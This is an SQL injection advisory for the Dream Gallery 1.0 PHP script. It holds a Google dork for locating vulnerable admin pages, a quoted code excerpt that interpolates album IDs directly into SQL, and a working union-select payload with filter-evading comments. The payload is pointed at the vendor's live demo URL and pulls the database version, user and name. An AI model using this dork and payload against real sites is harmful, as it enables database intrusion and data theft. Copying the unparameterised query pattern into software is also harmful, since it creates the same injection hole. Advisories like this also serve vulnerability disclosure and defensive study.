Dream Gallery 1.0 SQL Injection

`[+] Sql Injection on Dream Gallery v1.0  
  
[+] Date: 10/01/2016  
  
[+] Risk: High  
  
[+] CWE Number : CWE-89  
  
[+] Author: Felipe Andrian Peixoto  
  
[+] Vendor Homepage: http://clareslab.com.br/  
  
[+] Software Demo : http://clareslab.com.br/dream/  
  
[+] Contact: [email protected]  
  
[+] Tested on: Windows 7 and Gnu/Linux  
  
[+] Dork: intitle:"Dream Gallery - Admin" // use your brain ;)  
  
[+] Admin Page: http://host/admin/  
  
[+] Exploit :   
  
http://host/patch//album.php?id= [SQL Injection]  
  
[+] Vulnerable File :  
  
<?php  
  
$db->query( "select * from albuns order by album_name asc" )->fetchAll();  
if ( $db->rows >= 1 )  
{  
$albuns = $db->data;  
foreach ( $albuns as $album )  
{  
$a = ( object ) $album;  
$db->query( "select * from fotos where foto_album = $a->album_id order by foto_pos asc" )->fetchAll();  
if ( $db->rows >= 1 )  
{  
$f = ( object ) $db->data[0];  
?>  
<div class="box-detail box-alb" id="<?= $a->album_id ?>">  
<div class="box-inner-alb">  
<a href="album.php?id=<?= $a->album_id ?>" caption="<?= utf8_decode( $a->album_name ) ?>">  
<img src="thumb.php?img=fotos/<?= $f->foto_url ?>" />  
<div class="box-inner-fx">  
<h2><?= utf8_decode( $a->album_name ) ?></h2>  
</div>  
</a>  
</div>  
<div class="box-bottom">  
<div class="box-bottom-right-photo"><?= $db->rows ?> foto(s)</div>  
</div>  
</div>  
<?php  
}  
}  
}  
?>  
  
[+] PoC :   
  
http://clareslab.com.br/dream/album.php  
?id=658+and+1*2*3=6+and+0+/*!12345union*/+/*!12345select*/+1,group_concat(0x53716c20496e6a656374696f6e20447265616d2047616c6c657279202d2046656c69706520416e647269616e20506569786f746f,0x3c62723e,version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10--+  
  
  
[+] EOF  
`